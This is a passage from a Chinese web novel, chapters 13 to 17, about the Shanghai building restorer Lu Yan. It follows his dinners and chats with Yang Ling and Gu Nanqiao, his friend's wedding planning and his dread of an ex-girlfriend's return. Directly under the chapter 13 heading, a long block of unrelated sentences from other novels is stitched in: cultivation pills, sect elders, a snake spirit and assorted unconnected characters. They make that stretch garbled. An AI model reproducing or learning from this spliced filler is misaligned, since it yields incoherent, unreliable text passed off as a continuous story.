盯着菜单上的‘安格斯西冷’,陆砚刀尖无意识地在餐巾划拉。 倒不是紧张或者吃不起,从唱完那首歌之后,他整个人就陷入‘缅怀’的氛围中。 当时怎么没有带她来过这里? 如今来了,对面却又是何人? 正对面,杨灵切牛排的手势像预设程序一样半点不多余,银叉与瓷盘碰撞出理性与优雅的脆响—— 比拿关东煮的时候要稳上不少。 “感谢杨小姐大发善心,这顿抵我小半月生活费。”陆砚晃着红酒杯,深绿的蔬菜汁在杯壁挂出等高线般的纹路。 唯一不满的就是这杯由她强烈推荐的饮品。 一时竟分不清,惩罚究竟是才艺表演还是喝下这杯液体。 杨灵叉着的芦笋顿在半空:“要aa吗?” 这是什么昨天的call bcak? “免了。”他扯松领口,对于缩短人与人之间的贫富差距义不容辞,“下次再请你吃关东煮。” “哎,我的好姑娘诶!”顾南乔则是举手机拍下这一幕:“文保局新课题——《论工科女的情商盆地》。” 陆砚投下赞赏的目光,那你肯定是情商的高原。 “顾......” 称赞的话还没说出口。 “扫这个。” 杨灵递过印着二维码的屏幕,最新款苹果手机的冷光打在陆砚脸上。 -杨灵「@adeline」:朋友圈仅三天可见,最新动态是张模糊的彩玻璃光斑,配文‘误差率0.49%’。 -陆砚「墨斗君」:朋友圈空白,背景图是剥落的雕花窗棂。 -顾南乔「我系统呢」:十分钟前更新九宫格,中间是陆、杨碰杯的虚焦照,配文‘见证人类早期驯服ai实录’。 彼此交换微信后,陆砚反手就给两人送上自己的友好点赞。 这个世界很魔幻,高智商如杨灵,不会系鞋带;热闹如顾南乔,居然是个律师。 没错!居然是个律师!上次还以为是某个律所打杂小卡拉米呢! 那么母猪到底能不能上树呢?这是个问题。 回程时陆砚的皮卡车里塞满仪器箱,系安全带的间隙,他瞥见后视镜里的杨灵——她和顾南乔一人一辆车迅速汇入车流。 于是他也拿出手机,对着头顶灰蒙蒙的天空拍了一张,久违的发了条朋友圈,配文‘我们活在同一片天空下’。 皮卡慢悠悠开回小区,一条微信消息正好送达。 我系统呢:陆师傅这是感怀青春还是触景生情呐(小狗.jpg) 墨斗君:这俩不是大差不大吗,就没有其他选项了?(暗中观察.jpg) 我系统呢:对啊,没了。 第十三章 重生之我在沪上修危房 三阶丹药,药力庞大,结丹期修士吃了都能断肢重续,别说区区几个先天不到的普通人了。 柳听蝉的神识一直在盯着山门处的所有动静,在陈鹤动手的那一刻,他就已经知道了。 反正只要不跟白宇和杨玲打正面,凭借着超级兵与普通兵之间的经验与金钱差距,便总是有机会将劣势搬回来的。 卓景宁知道了真相,却是没办法。为今之计,只能是走一步看一步,然后安然的活到剧本结束。 半步王者,是一种修为也是一种战力,只因妄海境和涅槃境之间的差距太大了。 虽然牯没有直接说出,巨鼋部落不再举办交易会的原因,但林洛在听到这话后便立刻明白了。 因为紫竹灵曾说过,狰部落的所在地距离竹山很远,就算是以紫霄的速度,起码也要二十多天的时间才能到达。 不过新娘子已经怀孕了,展家的人不同意也得同意了,这才有了今天的婚礼。 不过他们并没有表现出来内心的疑惑,而是个个看着袁方国,不知道他到底想要说些什么。 柳听蝉说到一半的时候,他们就看出来,柳听蝉的丹道水平,有可能比他们还要高,和柳听蝉没有仇怨的,自然不愿意阻拦这么一个丹道天才的崛起。 大蛇王左腿一挑把自己化成人形后还遗留在外的尾巴甩到了背后,朝着姬家老祖走了过去。 此时,两人各有各的疑虑,穿梭过了拱桥后,没费多少功夫就到了清风楼楼底。 谁都没有想到申公豹会爆出这样的一个大料,不少人都恨不得自己没有耳朵,这样的密辛根本不是应该听得。 弗雷率先消除了气泡,然后脚一蹬来到了差不多的高度,往前游去。艾伦和瑞尔见状也赶紧跟上。 元尘虽然厉害,即便到了通天境也能胜过比他高出一些修为的武者,可毕竟是通天境巅峰与初期之间的差距,元尘就算再强也不是这些修炼了数万年老怪物的对手。 空羽此时也是再度的举起了自己的手,然后眼瞅着就要往星羽的脸上扇过去,可是这一次空羽的手刚刚抬到了半空中,就停下了动作了。 刀疤翘如此一说,在场之人莫不愕然,哈的一声,秋福老两口仿佛回到了三十年前,听着老腰从地面上蹦起来。 哇靠,没有想到我被公安干警抓去这些天,家里竟然如此悲伤难过,我这要是不出现,家里可就坍塌了。 睡得迷迷糊糊的冯程程猛地睁大了眼睛,上官婉儿也皱着眉头爬到了霍子吟身边,但是却看到了霍子吟的满眼兴奋,忘记了时间。 白棠听他酸溜溜的语气,好气又好笑,什么时候了,还吃那等过时的飞醋!心中止不住的阵阵锐痛。他不怕死,却愧对徐三。死之前,要不要告诉他真相呢? 脱离原本轨道的这些事情似乎是往着圆满的方向发展,但是唯一不圆满的就是杨过依旧喜欢上了自己的师父。 白棠验过纸质与墨迹,心中已经有了底。再看向印间边的落款:永乐十年冬。 真是大难不死呀!气儿还没喘匀,就听“咣当”一声,回头看去,一个黑影窜出窗外,正是鬼面道,也不知他到底想干啥。 林霜脱下大衣,搭在胳膊上。里面是一件肉粉色的大v字领羊绒衫,下身是一条发白的牛仔裤,一头乌黑的长发随意地落在肩膀上。林霜浑身上下都散发着浓烈的青春气息,美轮美奂,完美无缺。 杨千骏一时无言以对,暗恨:陛下怎么偏偏纵容他祸害练白棠呢? “反正,我是清白的,我什么坏事也没有做过。”杨洛装出一副无辜而痛苦的样子。 别看现代的营销策划一出出的古怪新奇,古人动起脑子来,绝不比现代人差。至少徐裘安的思路活跃得就令白棠啧啧称奇。 “死吧!”蛇精的一双三角眼中充斥着浓重的杀气,眼神死死的望着韩名,嘴中发出一声怒吼,两只手臂化成的毒蛇,此时也目露寒光,锁定了韩名,露出了毒牙,径直朝着韩名撕咬而去。 她回头一瞧,泪眼朦胧中见到白棠俊美的容颜与颀长的身段,不禁怔了怔:怎么成了亲,白棠还作男人打扮? 雷云霆看着鄢子月现在的样子,难受极了,却不知该如何安慰她,只好责怪自己没能保护好她,让她受委屈了。 “离夏前辈!长生药还我,我可以给你留条生路!”向天意念一动,镇天剑的剑气便迅速凝成,便悬于身前。 保护着松岛菜菜子和苍井天翔的水阵壁在不到五分钟的时间就已经被火焰灼烧了一半。 当然,大家都碍于凌墨寒那可怕强悍的气场,没敢把这种闲话说出来,但心底差不多都是这种想法。 影子一定是想自杀,而现在正是杀死他的最佳时机。如果伤口愈合了,恐怕就不容易杀死他了。只要阴影杀死他,恐怕它就永远不会放弃这样一个好机会。 “凤仪公主,这软丝甲宝贝着呢,一件已是十分难得。殿下将它送给公主你,可见对你疼爱有加,寄以厚望”。 陈煜似乎是想到了什么,内心顿时变得火热起来,被人全力给攻击到和承受一半的攻击,这个差距实在是太大了,有时都能决定一场战斗的胜负了。 当面对林恩很是不解,还带有些误解的疑问时。这位李大人停了手中杯,抬眼淡淡看着这尊贵的陛下犹未脱险,众人慌乱哭号的场景。略微侧过身,正襟危坐地看着林恩。淡淡开口。 墨诗涵一瞬间就被一股幸福包围着,她脸蛋红红的认主了仙甲,然后仙甲自动护体。 “不够,才不过是三彩之色而已。至少五彩,才可以初步实施那个计划。七彩,才有一半以上的把握。九彩,才可以百分百成功。既然如此,就让他们,拼杀的更乱一些吧。”张凡暗自想到。 除此之外,他还懂得使用各种法术,包括道术、阴阳术、神术甚至西洋魔法,集众家之长,自成一派。凭借强大的实力与渊博的知识,无论是在战斗中,还是在生活与工作中,都可说是无往不利。 第十四章 晚上的女人 暖黄灯光从竹编灯罩漏下来,在杨灵身上织出半透明的纱。 什么招募工匠、劳务外包等后续项目组织事件先通通抛在脑后: 她穿的月白色短袖,袖口松松挽到肘弯,露出小臂如羊脂玉般的肌理;高腰牛仔短裤,裤腿恰好停在膝盖上方三指,露出的小腿线条流畅如勾弦,脚踝骨精致得像古瓷瓶的收口。 眉峰挑成漂亮的弧线,眼尾因生气微微上翘,粉唇比春日胭脂稍淡,说话时一抿一抿,像朵沾着露水的野蔷薇在夜风中轻颤。 他知道,对方此刻大抵是在说话的,可眼睛占据多数精力时,其他感官便自动关闭了。 想找机会画幅肖像画送给她。 虽然太久不画人像,多年从业经历已让陆砚的洞察和手绘能力有充分信心接下这个心血来潮。 杨小姐的耐看程度快赶上带私家花园独栋户型的洋房结构图了。 盯着她鼻尖沁出的细汗,看它们在挺直的鼻梁泛起好看的水泽,忽然很想伸手替她擦掉——这个念头惊得他指节捏紧瓷碗,却听见自己的心跳声盖过了火锅翻涌的响动。 屋外野草疯长,远洋山呼海啸,他愿溺死在这一时刻。 “你到底有没有在听!” 好听,声音好听。 看来在网上丢的场子她决定此刻找回来。 这种大晚上被女人现下开盒的感觉......还不赖! “我在听,愿意听。”男人目不转睛。 害羞?不存在的。 “你——,再乱说话就拉黑你。”她突然语塞,平静的脸上诞生一丝窘迫。 陆砚则为之愉悦,就像平湖起涟漪,你知道她是为你而波动。 但‘理性’警觉着,他们之间远没到可以开暧昧玩笑的距离,得意忘形肯定会被拉黑的! 不该继续失态了。 “杨灵同志你要体谅我,像我这种经常和老古董打交道的老同志太久没接触互联网,使用起来难免失了分寸。” “下午不是用得挺好的嘛,要是糯米胶凝固跟你发消息一样快后面我倒是可以考虑你的方案。” 他深知,眼前这个女人不仅是他见过最美的女人,亦是用对方法以后最好哄的那一款。 “美丽的女士,小的这不是第一时间过来给你请罪了么。”陆砚起身赶紧用公筷给她夹菜,脸上努力为她展开花朵。 下一秒,对方没拒绝献殷勤,这无疑是最大的鼓励。 与第一次因为糯米胶‘误伤’到她那会儿不同,这次是发自内心想对她笑。 说起糯米胶,还欠她一次干洗呢! “对了,你还记不记得我们第二次见面那回,”陆砚顺利将蘑菇片投喂进她碗里,并从中找到了乐趣,继续夹菜。 “陆师傅,希望你的工作作风不会和你讲话一样。” 这是催他一口气说完。 高智商的杨小姐从来不有话不直说。 “你没印象了吗,我弄脏了你的一套衣服,还差点误伤到你。”再次投喂+1,他放下筷子郑重看向她,“当时你没事真的太好了。” 诸位,并非啰嗦和讨好。 当完全长在审美上的女人大晚上一身清凉打扮和你单独吃火锅时,你也会这样...... 情难自禁! “......这算道歉吗?” “道歉是补偿的开始,这算道歉的后续。” 杨灵轻轻把筷子置于筷托,头发用木簪别在脑后,碎发垂在天鹅般的脖颈两侧。 目光清亮,偏生带着股认真到可爱的书卷气,仿佛不是在吃火锅,而是在研读一本泛黄的古籍。 陆砚在等她开口。 “这顿火锅不能抵两次账。” 两人沉默看着彼此,渐渐眼睛亮晶晶的,还是憋不住笑了。 “噗——哈哈!” 他为对方的幽默感到意外,所以笑了。 杨小姐则是因为对方笑所以她也笑了,这波明显杨太守境界更高。 陆砚随后表示这都不是事,明天项目尾款就到账了,接下来半个月关东煮管够。 窗外的月亮斜斜切进玻璃窗,在她短裤下的小腿上镀了层银边。 那截裸露的肌肤没有半点凌厉的棱角,从膝盖到脚踝像被春风揉软的宣纸。 ...... “叮!” 她拿起手机查看消息,对着火锅拍了一张。 “喂,是不是拍到我了。” 陆砚有点好奇,究竟是什么人的消息让她特意开了提示音,但又不方便问。 杨灵目光一瞥,小嘴又开始叭叭,“根据《民法典》规定的合理使用情形......” “停,停!”陆砚赶紧拦住她。 这搞得多生分啊! 所以若要从上帝给她私人开设的、拥有不胜枚举藏品的藏馆中硬是评一位二等奖的话,他会痛心五分钟后毅然决然选择‘低情商’这一珍宝出列。 “你想拍就拍嘛,我就问问。” 非要人把话说到这个地步,现在懂了吧? “噢。” “...” 直到今天陆砚也仍未知道那天杨灵的‘噢’究竟领会到了哪一层。 或许人间最大的温柔就是‘你不说,我就不追问’。 陆砚自诩对待杨女士是个温柔的人,不过还没到‘世间最温柔’的境地。 “‘噢’就没了?你总得让我知道你为什么拍我吧。” “在群里,自己看。” 对方头也没抬继续拨弄手机,像兔子警官在堆砌的案牍里找历届卷宗一样认真、专注。 群里,还是陆砚和她都能看到的群,自然就是那个群了—— (重生之我在沪上修危房工作群) 我系统呢:好饿,刚下班,灵灵你吃了吗?@@adeline @adeline:(图片)。 我系统呢:!?明明都在一个群里,明明只有三个人,都还是免不了私下营私结党吗! 我系统呢:为什么!为什么私会还要拍照片告诉我,就让我不知情地孤独下去不好吗! @adeline:(熊猫头举白旗投降.jpg) 我系统呢:@墨斗先生出来,说话! 好家伙,低头一通操作,合着人家打五十个字您就回一表情包啊! 陆砚抬头看她,正好视线相撞。 “你回。” “好。” 果断顺从。 笑话。 高情商男士今晚上桌就被‘真实’了一顿,遇事要吸取教训,现在本尊在场哪还敢拿对方网上的事调侃? 墨斗先生:我以为她会喊你@我系统呢,真的(悔恨的泪水流了一地.jpg)。 ——于是反手就把自己摘出去了。 我系统呢:更扎心了,老铁(哭泣.jpg)。 “不是让你这么回!” 杨灵肉眼可见的红了,眉眼三分嗔、三分急,还有一层薄薄的愠怒和羞赧,构成十分好看的模样。 谁要说她不善言辞那肯定是‘主客观分离’的,这姑娘去当律师都绰绰有余了。 但通过神奇的互联网,就是看见了‘不善言辞’的杨灵。 所以互联网真能见世面。 “别生气,我开玩笑的。”陆砚讪讪一笑,示意请长官再次给个机会。 墨斗先生:她也以为我会喊你。 墨斗先生:于是我们两个人点了三人份的菜,在等你。 @adeline:(柴犬捧奶茶献殷勤.gif) 他再次将目光投向对方,一脸‘快夸我’的恳切。 但对方拒绝眼神交流,并喝了一口果汁。 我系统呢:哥哥不会觉得人家是个喜欢上赶着往旁边凑的女人吧(小兔子落泪.jpg) 墨斗先生:在下一片赤诚。 我系统呢:那你不发定位? ...所以大晚上单独和女性见面非常影响心神。 陆砚今天比较呆,都是那个嘴唇正泛起‘刚好可以放下一片花瓣’弧度的女人害的。 ...... “总觉得你今天很奇怪。” 有腔调的人不会为了蹭一顿火锅深夜跑出来,就像陆砚请杨灵出来也不会简单吃完东西就闪人一样。 这种完成任务以后便着急走人的打法,其纯洁程度可能不亚于初哥。 “怎么了?” “有点...过于热情?” 广场上意外的暗沉,眼前的人融于夜色,化作羊脂白,与月光辉映。 陆砚看不清她的表情,不然多少能看出些蛛丝马迹。 “有没有可能是你的心态原因,再说了,我要不热情哪能要到你微信啊。” “你没有找我要,是我自己给的。”杨灵说。 不是,这很重要吗? 他无心争辩,虽然和她打嘴仗也比较有意思,但...... “同志,你是不是胜负心很强。” “没有啊,只是没怎么输过。” 得,陆砚突然想起一个段子,于是他说给杨灵听: 当大爷被问道,喝酒有没有瘾的时候,大爷说没瘾。 记者:三四天不喝你难受不? 大爷:不难受。 记者:有三四天不喝的时候吗? 大爷:没有。 所以这不就是胜负欲很重吗! “所以陆师傅,你这是测绘数据输了不服气吗?” 这次不需要看清表情都知道对方在笑! 贴脸开大你能忍? 陆砚的脑子从当天的环境、湿度和事前准备转到风水、相性以及天时地利人和,兜了一圈决定这样回: “没有啊,只要杨小姐喜爱,陆某情愿甘拜下风。” “...” 水柔,以克刚。 突如其来的‘顺从’才是最强力的输出! 隐秘月光下,要是杨灵能看清陆砚的表情,一定会发现些蛛丝马迹。 第十五章 自由和爱情 一个人的夜是寂寞孤单的,这几年陆砚早已习惯。 偏偏这时,距离‘寂寞孤单’的始作俑者回归又近了几天,潜伏在伤口的‘寂寞虫子’便往肉里钻,他无措、厌烦、闲下来就发慌。 于是便知道,他需要一个女人,来消解化不开的夜。 “‘有点过于热情’吗?男人的话你可千万别当真啊,杨小姐。” ...... “砚哥你是不知道,这哪里是一般的请客吃饭啊?风格主题,珠宝首饰就算了,婚前美容、准备应急物品这些咱听都没听过......” 和旁听张野、小区老刘不一样,这幸福的吐槽陆砚必须回击! “没事,一回生二回熟,实在不行就当积累经验了。” 陆砚一口咬破生煎皮,倒醋,细嗦汤汁。 “呸呸呸,乍一听还以为是乐观主义的发言呢,你这币真黑,不是好人。” “好人?有好报算好人的话,那我确实失格了。” 本以为昨晚有杨小姐作陪会睡得好点,结果还是失眠了。 然后这鸟人一大清早就殴打他家铁门不说,现在还倒婚姻的苦水......搞得陆砚人有点遭不住。 你跟没进去围城的人说这,凡尔赛? “行,一会选场地的时候你可要好好发扬坏人风格,把价格打下有返现!”陈禹不挑食,好人坏人照样用。 “不是好人就是坏人?小同志你这么天真小心以后颜朵每月只给你五百块零花钱噢。” 笑了,一个人拥有高尚的同时不影响他卑劣,而这往往是生活的常态。 不论接受与否! “较真不仅没意思,还是一个人开始衰老的前兆,do you understand?” 陆砚不忿,谁说较真没意思? 明明杨灵很吃这一套,你不懂欣赏罢了! 吃完早餐上了陈禹的车,上午准备先跑两家酒店,看看他们的场地和给的具体方案。 酒店是熟人推荐的。 “哥们,婚前有没有感想?” 陆砚想起了老刘,那个路灯下给女儿修书包的父亲,被老婆警告‘再做这行就离婚’的男人。 “卧槽,合着刚才我跟你说的一大堆都不算感想啊?” 陈禹开车不放歌,大嗓门震得脑瓜子嗡嗡的。 “别炸呼,我是怕你婚前恐惧之类的,很多男人看起来大无畏,实则一到婚前想逃跑的大有人在,到时候丢人的就不是你一个人了。” “你这......这是正儿八经?感觉像在内涵我啊。” 有些人就是爱用惯性思维看人,以至于难得挤出的真心话喂了狗。 罢了,不如趁现在睡会。 道路飞驰退后,车窗外光影交错。 车内沉默了一会,陈禹开口说:“婚姻和恋爱还是有点不同的。两人离得近了,毛孔用再多化妆品也遮不住,所以要多包容晓得吧?” 陈禹侧头看去,不管陆砚睡不睡地戳向他,硬要他听听这精辟发言。 这段你且学着,不够哥们回去再悟! “等着,一会就跟颜朵报告,你说她毛孔大。” “...” 他当然知道陈禹是什么意思,而且这番话大概率适用于多数人,包括他自己。 爱情似乎没有看上去那么美丽,就像蝴蝶的翅膀,触摸即会掉色。 所以,自己念念不忘的或许是那段时光、那时的自己,而不是......林晚声! 婚姻啊,对没盼头的人来说真操蛋,有盼头的人也难办,倒是除开当事人以外都爱往里凑一凑、期望期望—— 比如说他的父母! 前几天这不又催了吗,把那个劳什子上海小学老师快吹上天了。 他觉得,未来已经有人织了张网在等着他往里跳。 身后又有无数压力推着往前走。 反正闲着也是闲着,要不以后心情好了,就跳下去给他们助助兴? “别楞了,陆大爷,下车了您嘞!” “...你觉得‘自由的爱’这个主题怎么样?” ...... “‘自由的爱’?在这方面的策划我们保准是一流的。” 婚宴经理胸脯拍得震天响,一看就不是搞设计出生,倒有种江湖草莽的奔放。 陆砚看向陈禹——你确定是熟人推荐的? “陈先生你看,以‘爱情如蝴蝶,越紧握越褪色’为哲学原点,提炼‘自由共生、温柔守望’的情感内核。 将蝴蝶的轻盈姿态、蜕变过程与爱情的成长轨迹相呼应,通过空间设计、流程仪式、细节符号的层层递进...... 演绎‘以信任代替束缚,以包容成就永恒’的婚姻哲学!” 不愧是熟人推荐,逻辑和构思上面没毛病! “这个...” “陈先生你放心,”经理又是对着自己胸脯一巴掌,打得肥肉一颤,“小陆,你过来给陈介绍一下我们的视觉体系。” 陈禹一乐,好好好,我倒要看看‘小陆’是不是个可用之材。 随后就是边走边看系列,从迎宾区到仪式区,讲完空间叙事设计讲舞台设计,各种平淡的事物以‘爱情’名义被包装成高大上的东西后兜售出去——这就是跟完全场的陆砚之高见。 这布局,哪有老洋房半点考究? 话说老洋房他可就不半点困了,手上这栋百年古建算是他入行以来见过最有匠心的建筑,其功能与美学的交响、自然与人文的设计、中西合壁的艺术表达...... 它有爱美之人无法抗拒的该死魅力。 “你觉得怎么样?” “很好啊,很好。”陆砚只想逃避。 “走,下一家。” “?” ...... 手机震醒休眠的屏幕,顾南乔的嗓音混着键盘敲击声:“哥哥大抵是厌弃我了,偏我还不知趣,一个劲凑上来。” “说白话。” “你这人真是喜新厌旧呐,才加上好友没两天,就不回消息了?昨晚不是答应请我吃火锅的吗!” 顾小姐是个典型的优秀上海女人,连性格也完美平衡了活泼和娇嗔的优劣,纵是责怪也让人生不出半点不悦。 “那边是什么声音,怎么像是在打游戏。” “做猜测的时候能不能结合人物人设进行合理推断,人家是律师啦!”那边键盘声停了,显得人声更加清脆。 “好好好,律师就不能与民同乐是吧。” “不跟你绕弯子了,周一小酒馆,灵灵说要研究声波对古建的共振损伤——” “是声学环境评估。”杨灵的声音从背景飘来,“《文物保护技术手册》第四章有明确规...” “你们真爱凑热闹,声学环境评估是吧?信不信我当场哭出来给你听。” 之前颜朵跟他说林晚声周一要回小酒馆演出必然是被俩人听到了。 ......陆砚决定拿到尾款就换个通话加密的手机! “总之周一小酒馆,陆师傅负责给两位女士做好接待工作。”顾南乔的笑声搅动夜色,“顺便鉴定下你前女友有没有在歌词里骂你。” 通话挂断了好一会,陆砚的拇指仍在无意识摩挲着手机壳。 小酒馆,那是他们以前的叫法,陆砚现在都记得小酒馆地址:长乐路204号,正是林晚声第一次驻唱的那间破地下室。 时过境迁,现在他们去的是‘破吉他’,那间属于他们的小酒馆就那样被摆到记忆角落里生了灰。 第十六章 上海女人那些事 “陆哥,他那边的意思是,还要一个星期?” “他住在那没跑路的话,尾款就是一个星期。” “陆哥,咱们不是在住建局拿的项目吗?他人还能跑了不成?” 要是问题和张野喝啤酒一样水到渠成就好了。 淡水路,烤串店,俩人就着酒浇灭忧愁。 那个张老板食言了,电话打不通陆砚今天亲自去他家蹲守,临了只拿了‘一个星期’这样的承诺。 可信吗?不可信。 本来是可信的。 要是杨灵在场一定会跟张野普及知识,‘并非所有的历史建筑的产权人都归国家所有,根据《华国文物保护法》的相关规定,私人房屋一旦被定为文物,其所有者或使用者即成为该文物的保护责任单位或个人。’ 用陆砚的话来说就是,‘有上面监督的私房’。 你给自己家装修、修缮,还能让国家都给你掏了? “那老小子说是资金周转,看着住别墅谁知道负债多少个,真申请破产我们也没办法。” “玛德,这有钱人看着大方,真处起来钱是真难挣!”他一口清空了杯中酒,又用扎啤杯续上满满一杯。 有时候做事情不是看对方有多高的见解,而是在于对方对你有多大的信任。 “像他们那伙人出来混就靠一身信誉,不管你的ppt做得多好、项目多赚,总要资方信得过你这个人。” 所以结合眼下的情况,怕是坏大过好了。 “那咱们就只能坐着喝闷酒了呗。” 张野曾说过一句话让陆砚印象很深: 你们唠嗑我不懂,你若要喝我不怂。 “我们用手艺换钱,一颗颗子都是实打实的;他们用那些虚头八脑的换钱,要不然人家有钱呢。” “有钱的没一个好东西!我真是槽乐铊玛拉嗰彼勒!改天活不下去了就去他家门口撒尿.....” 陆砚连忙碰杯,再说下去还了得? 难怪说单身男性不能扎堆喝酒呢! 这才俩人,要是一群张野坐小酒馆喝上几口,然后台上冒出来个陈禹......可不得被抓起来吗。 “新闻看了吗,十天后又是刮风又是下雨的,气温骤降下冰雹都有可能。”陆砚把刚端上的羊肉串往张野盘子里送,说:“要备点厚衣服,好久没去你那边看看了,屋里也不晓得什么情况。” 既是转移话题,也是真的关心。 张野十六岁从云南大山走出来,极少谈家里的事,不觉间陆砚在相处中多了份照顾。 “我的哥诶,天冷出不了事,没钱才是大问题。” 他说,现在的一切问题都是物质造成的,要是搞不到钱他的人生也就那样了。 他还说,一直以来都活在生活的压迫下,未来有机会也想试试做有钱人的滋味。 无疑,他是偏激的。 但最后他把单抢了,176元,没要小票。 ‘不让我结就是没拿我张野当兄弟’。 他说他没醉,就是极度渴望一个平等又平凡的世界。 ...... 如果一顿吃顾南乔一两千块,犹豫一秒都不是他,那位律政佳人绝对是大户人家。 如果一顿吃杨灵两三千块,好像已经吃过了,陆砚则会高兴他们关系又近了一步。 若无相欠怎会相见? 懂得感恩的人不愿欠人情债,除非打算长期相处。 张野这顿176元,在陆砚心里不亚于天地白茫茫一片、大雪压枝头的时候,有熟人突然在背后拍你肩膀。 什么话都没说,你知道,他在。 日暮里,走在没有那么繁华的街上,穿插在没有那么拥挤的人群,感受还未燃起的街灯。 有件事压在胸口,刚才一直没说。 明天她回来了。 或许只是为了陈禹和颜朵的婚礼,或者是正好经过,她将带着她的新生活回到这座城市。 就在明天。 随着时间推移陆砚感到越来越煎熬,三年后再次相见,对彼此无疑是一场鞭笞和拷问。 也或许她不会在意这种拷问,但他真的在乎! 马上就可以看见一个更好的她,带着更好的生活答案在阳光盛大的日子里出现,娇艳、幸福。 而这,与他无关。 “我来到/你的城市/走过你来时的路/想象着/没我的日子/你是怎样的孤独。” 陆砚猛然抬头,白裙子女人轻拂琴弦,身前琴盒贴着收款码。 嗓音低沉而温和,恰在勾动愁绪的调上。 他想起了六年前的那个晚上,一个更美丽、更年轻、同样抱着吉他唱歌的女人,时光之河化为白色连衣裙上的披帛定格了那一刻。 她给暗下去的岁月涂了一抹口红,亦在多年之前明亮他的夜空。 是想偷走的海底月,是曾经,是望不到的心上人。 “拿着你/给你照片/熟悉的那一条街/只是没了/你的画面/我们回不到那天。” 陆砚怔怔站在原地,温和嗓音隔开街头喧嚣,被这首歌击中的人自发地掏出手机扫码。 “我多么想和你见——” 下一刻,一个音唱劈了,她在笑...... 嘴角勾起的弧度藏着刺眼的嘲弄! ...... 老小区秋千架吱呀作响,微微暗淡的光线下,穿蓬蓬裙的小女孩垫脚够树枝。 “叔叔帮帮我!”她举着纸风车,辫梢蝴蝶结悬而未落。 稚气的声音一下子让他觉得治愈了不少。 好嘛,叔叔就喜欢活泼大方的孩子,桀桀桀。 陆砚托起她时,串一起的钥匙扣哗啦着地。 等她落地,小小的影子缩了一截,在地上团成团。 “这是积木吗?” 女孩指着榫卯挂饰,十分自觉拿在手里,大眼睛盯着看,专注极了。 “这是古代魔方,一个亲亲我就可以表演把它复原噢!” 她毫不犹豫地吧唧亲在他脸颊,薄荷糖气息混着童真扑面而来。 陆砚心情大好,抻开膀子准备再赠送个故事。 “子鱼,回家咯。” 小女孩被突然出现的母亲抱走,两只眼睛瞪得大大的。 就像攒了一星期零花钱却得知自己买的点卡是盗版,当即‘哇’的一声大哭。 小朋友,叔叔不是骗人的啊喂! 黑白条纹的衣裙宽大而臃肿地套在身上,脚上是一双曾经是白色如今已经有点灰暗的跑鞋,那是一个衣着质朴看起来有些严肃的女人。 无疑,她更是位关心自己孩子的母亲,所以对自己这位可疑的怪蜀黍采取了疏离手段,可以理解。 陆砚朝自家那栋楼走去,手机传来震动。 (重生之我在沪上修危房) 我系统呢:(图片)姐姐明天穿这身登场,是不是觉得很有面子!@墨斗先生 画面里,顾南乔穿着一条包臀式的酒红色洋裙,腿部叉口处的白皮肤亮得晃眼。 透过镜面反射,可以窥见其背后有个成规模的衣帽间。 墨斗先生:你是不是对明天有什么误解,地下小酒馆而已撑不起那么大场面。 墨斗先生:顺带一提,衣服不错。(呲牙.jpg) @adeline:(小兔子点赞.jpg) 我系统呢:心有多大,舞台就有多大,这就是我的人生态度! 我系统呢:(小黄鸭戴墨镜.jpg) 墨斗先生:难怪被告方要线下尾随你,原来一切都是态度惹的祸。 我系统呢:......家人们,虾头男真可怕。 墨斗先生:所以还得听我一句劝,明天穿正常点。 顾南乔大概是懒得打字了,以下是语音转文字内容: 我系统呢:我刚才说的就是你!小姑娘发好自拍么,总归要帮伊赞三记以上伐,侬晓得伐!(女孩子发完自拍一定要夸三句以上,你晓不晓得) 墨斗先生:上海女人里向就侬事体顶多,个么侬要好好叫学学人家杨灵喏!(上海女人就你事最多,这点你要看向人家杨灵啦。) 我系统呢:(锤爆虾头男.gif)×3 我系统呢:(锤爆虾头男.gif)×5 后面内容就不做展示了,清一色都是那个女人的图。 但是陆砚没有丝毫悔改之意,只觉得我辈读书人就当为抨击时下‘不良风气’而发声。 “嗡,嗡——” 来电显示‘杨灵’,两个字吓这位读书人一跳。 思忖着今晚也没得罪她,于是接通电话。 “长夜漫漫,无心睡眠,杨小姐你也睡不着啊~” “我刚问乔乔被尾随的事,她不肯跟我说。” 嘶—— 似乎卷入了两头不讨好的境地了... 主要是,当事人不跟你说,我就能跟你说了? 你别说,你还真别说,杨灵若是硬要问,还真有点顶不住压力。 “这个,这个...你也知道,她是个律师,我随便泄露个人隐私...不好吧。” “噢。” 语气正常,陆砚心下一定,松了口气。 杨灵还真不是个爱闹小脾气的上海女人,这点顾南乔确实得好好学学—— 你在你闺蜜面前嘴硬还得哥们给你善后,做事全然没我‘北京爷们’地道... 嗯?电话还没挂。 “还有事吗?要是非要我讲个睡前故事也不是不可以。” “噢。” “...” 不对劲,有点不对劲。 问:这个‘噢’究竟有几层意思。 答:第一层是对睡前故事有兴趣;第二层是表示无感,可是无感为什么又不挂电话呢?也许从这点可以延伸出她的其他目的。 “你想听什么故事?”陆砚还是觉得直接问本人比较好。 “那你讲讲乔乔被人尾随然后你恰巧撞见的故事。” “...” 呵,上海女人...... 第十七章 何时打扮 古建修复施工本质是‘带着镣铐跳舞’——在文物保护法规框架下,平衡技术传承与现代管理。 为此,它需要遵循‘最小干预’、‘材料可逆’和‘风貌延续’三个顾名思义的原则,同时它们也是陆砚入行就牢记的金科玉律以及反对杨灵‘现代化’布局的底层武器。 真当这是赛博时代呢?那些个呼吸灯一闪一闪就可以取代夜明珠了? 没道理嘛不是。 可惜当初领导的指示是‘传统工艺结合智能监测,既保安全又留文脉’...... 当然,关于方案细节上的讨论是以后的事情,这个项目的周期远比想象的要长。 陆砚刚从住建局跑一个需三方签字确认的墙体内部加固结构,仅这份简单的批复通常情况下又是七到十二天。 所谓流程合规化,责任清晰化,让每一步有审批留痕特别在这一刻体现得淋漓尽致,在此基础上,有些特殊要求亦是非达成不可: 团队中传统工匠占比有规定,例如木作班组中持“非物质文化遗产传承人”证书者不少于 30%;或者古建筑工程专业承包资质、类似项目经验;项目经理需具备文物保护工程施工管理经验等等。 等这些‘门槛’被一一踏过以后,才堪堪出新手村。 不说每日填写《施工日志》,记录天气、工序进展、材料用量和突发情况。 仅仅是繁琐的关键节点(如大木架落架、彩画起甲修复)拍摄 4k视频存档,重要构件取样检测报告归入工程档案就够这些动手能力强的男人们喝一壶...... 所以那么大的项目,不能全靠这点人手做吧? 第三方委托机构、施工团队、建材商、垃圾处理等等,均需严丝合缝对接上才算及格。 此刻,他在要在这个下午去旧料市场找老金聊聊,顺带定一批和老洋房同年代、同工艺的民国青砖。 然后晚上赴约小酒馆! ...... 